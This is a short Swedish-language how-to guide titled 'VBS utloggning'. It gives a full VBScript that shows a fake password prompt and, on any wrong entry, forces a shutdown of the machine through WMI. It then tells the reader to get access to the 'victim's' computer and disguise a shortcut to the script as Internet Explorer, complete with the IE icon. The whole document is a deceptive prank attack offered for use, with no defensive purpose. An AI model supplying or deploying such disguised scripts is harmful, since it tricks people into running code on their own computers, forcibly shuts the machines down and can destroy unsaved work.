Guide: VBS utloggning

Det första du ska göra är att öppna anteckningar/notepad. Där skriver du in denna kod:

password = "ditt egna lösenord"
do
returnvalue = inputbox("please enter the password")
select Case returnvalue
Case password
msgbox "Password OK"
Exit Do
Case Else
msgbox "Wrong password"
strComputer = "."
strExe = "shutdown.exe -f"
' Connect to WMI
set objWMIService = getobject("winmgmts://"_
& strComputer & "/root/cimv2")

' Obtain the Win32_Process class of object.
Set objProcess = objWMIService.Get("Win32_Process")
Set objProgram = objProcess.Methods_( _
"Create").InParameters.SpawnInstance_
objProgram.CommandLine = strExe

'Execute the program now at the command line.
Set strShell = objWMIService.ExecMethod( _
"Win32_Process", "Create", objProgram)

WScript.echo "Created: " & strExe & " on " & strComputer
WSCript.Quit
End select
Loop

Spara sedan dokumentet som .vbs Exmpel: vadsomhelst.vbs

När du tittar i koden kanske du fårstår att du skall skriva in ett lösenord. Om du skriver in rätt lösenord så händer inget, men däremot om du skriver fel kommer du att loggas ut. För att någon skall gå på detta kan du göra på detta sättet:

Du kommer att behöva tillgång till "offrets" dator. Det du ska göra är att skapa en genväg på skrivbordet, länka genvägen till vbs scriptet och välj ett namn på genvägen, tag till exempel Internet Explorer. Nästa steg är att du ska byta ikon på genvägen. Det gör du på så sätt att du högerklickar på genvägen, välj Egenskaper och klicka sedan på Byt ikon. Självklart ska du nu byta till IE ikonen.